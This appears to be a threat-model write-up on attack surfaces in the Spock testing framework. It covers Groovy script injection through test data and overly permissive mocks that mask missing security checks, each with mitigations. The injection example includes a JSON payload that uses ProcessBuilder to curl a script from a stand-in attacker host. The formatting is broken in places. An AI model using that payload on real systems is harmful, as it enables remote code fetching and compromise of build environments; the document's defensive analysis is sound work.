Attack Surface: Test Code Injection (Groovy Script Injection)
- Description: Execution of arbitrary Groovy code within the Spock test environment, originating from an untrusted source and leveraging Spock's Groovy integration.
- How Spock Contributes: Spock directly uses Groovy as its core language. Its dynamic features, including metaprogramming and the way data providers (
where:
blocks) are handled, create the direct pathway for this injection. This is not a general testing concern; it's specific to how Spock processes Groovy. - Example:
- A Spock test reads test data from a JSON file. An attacker modifies the JSON to include a Groovy script snippet within a string field intended for use in a
where:
block:{"data": "${(new java.lang.ProcessBuilder('curl', 'http://attacker.com/evil.sh')).start()}\u0022}
. If the test uses this field directly in a Groovy expression (e.g., within asetup:
orexpect:
block, or even implicitly within thewhere:
block's condition), the malicious script executes.
- A Spock test reads test data from a JSON file. An attacker modifies the JSON to include a Groovy script snippet within a string field intended for use in a
- Impact: Complete compromise of the test environment, potentially leading to access to source code, test databases, build artifacts, and potentially lateral movement. Could lead to data breaches, code modification, or CI/CD pipeline disruption.
- Risk Severity: Critical
- Mitigation Strategies:
- Strict Input Validation: Implement rigorous input validation for all data used in Spock tests, especially data used within
where:
blocks or any Groovy expressions. Use whitelisting. - Data Sanitization: Sanitize all data before using it in any Groovy context within Spock. Escape special characters meticulously.
- Avoid Dynamic Code Generation: Minimize dynamic Groovy code generation within Spock tests. If unavoidable, use parameterized approaches or secure template engines.
- Least Privilege: Run Spock tests with the absolute minimum necessary privileges.
- Code Reviews: Conduct thorough code reviews, focusing on data handling and any use of Groovy expressions within Spock tests.
- Static Analysis: Use static analysis tools specifically designed to detect Groovy code injection vulnerabilities.
- Strict Input Validation: Implement rigorous input validation for all data used in Spock tests, especially data used within
- How Spock Contributes: Spock directly uses Groovy as its core language. Its dynamic features, including metaprogramming and the way data providers (
- Description: Spock's mocking features are used to create mocks that bypass security checks within the context of the Spock test itself, leading to false positives. This is a direct misuse of Spock's mocking API.
- How Spock Contributes: Spock provides the mocking framework. The vulnerability lies in how developers use Spock's
Mock()
and interaction-based testing features. This is not a general mocking concern; it's about the incorrect application of Spock's specific mocking capabilities. - Example:
- A Spock test for a method that should check user roles uses Spock's
Mock()
to create a mock of theUserRoleService
. The interaction is defined as:1 * userRoleService.hasRole(_, 'ADMIN') >> true
. This mock always returnstrue
, regardless of the actual user or role, bypassing the intended security check. The test passes, but the production code might be vulnerable.
- A Spock test for a method that should check user roles uses Spock's
- Impact: Vulnerabilities in the production code related to security checks are masked by the Spock tests. The application may be deployed with critical security flaws that were not detected during testing.
- Risk Severity: High
- Mitigation Strategies:
- Realistic Mocking: Configure Spock mocks to accurately reflect the behavior of the real components, including security checks and error conditions. Don't simply return
true
for all security-related interactions. - Negative Testing: Include Spock tests that specifically test security boundaries and expected failures. Verify that unauthorized access is denied by the mocked components.
- Interaction-Based Testing with Constraints: Use Spock's interaction-based testing features with precise constraints. Instead of
_
(any argument), specify expected arguments to ensure the mock is called correctly. For example:1 * userRoleService.hasRole(userWithNoAdminRole, 'ADMIN') >> false
. - Code Reviews: Carefully review Spock mock configurations to ensure they are not overly permissive and that they accurately represent the expected security behavior.
- Realistic Mocking: Configure Spock mocks to accurately reflect the behavior of the real components, including security checks and error conditions. Don't simply return
- How Spock Contributes: Spock provides the mocking framework. The vulnerability lies in how developers use Spock's